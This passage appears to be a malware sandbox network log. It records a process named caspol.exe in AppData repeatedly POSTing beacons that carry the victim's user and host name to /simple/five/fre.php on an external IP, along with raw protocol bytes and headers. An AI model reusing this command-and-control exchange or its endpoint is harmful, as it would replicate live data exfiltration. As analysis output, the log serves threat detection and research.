Nov 20, 2024 07:57:25.322678089 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49196	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:25.460459948 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:25.465375900 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:26.325515985 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:26 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49197	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:26.469594002 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:26.474558115 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:27.207211971 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49198	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:27.348721027 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:27.353741884 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:28.068264961 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49199	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:28.247658014 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:28.253668070 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:28.977535009 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:28 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49200	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:29.120889902 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:29.125787973 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:29.974338055 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:29 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49201	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:30.109941006 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:30.114919901 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:30.837785006 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:30 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49202	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:30.986397028 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:30.992768049 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:31.706429005 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:31 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49203	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:32.058171988 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:32.063041925 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:32.783813000 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:32 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49204	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:32.920535088 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:32.925554991 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:33.768088102 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:33 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49205	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:33.900855064 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:33.906029940 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:34.636761904 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:34 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49206	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:34.782082081 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:34.787024021 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:35.506217003 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:35 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49207	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:35.650070906 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:35.655030012 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:36.384850025 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:36 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49208	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:36.525110006 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:36.530040979 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:37.243896008 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:37 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49209	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:37.380793095 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:37.385968924 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:38.095659018 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:37 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49210	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:38.240227938 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:38.245541096 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:38.955806971 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:38 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49211	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:39.095318079 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:39.100303888 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:39.954087973 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:39 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49212	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:40.094630957 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:40.099524021 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:40.816035032 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:40 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49213	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:40.952683926 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:40.957521915 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:41.675704002 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:41 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49214	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:41.828788042 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:41.834156990 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:42.543483973 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:42 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49215	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:42.685653925 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:42.690841913 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:43.544902086 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:43 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49216	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:43.680879116 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:43.687015057 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:44.541507006 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:44 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49217	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
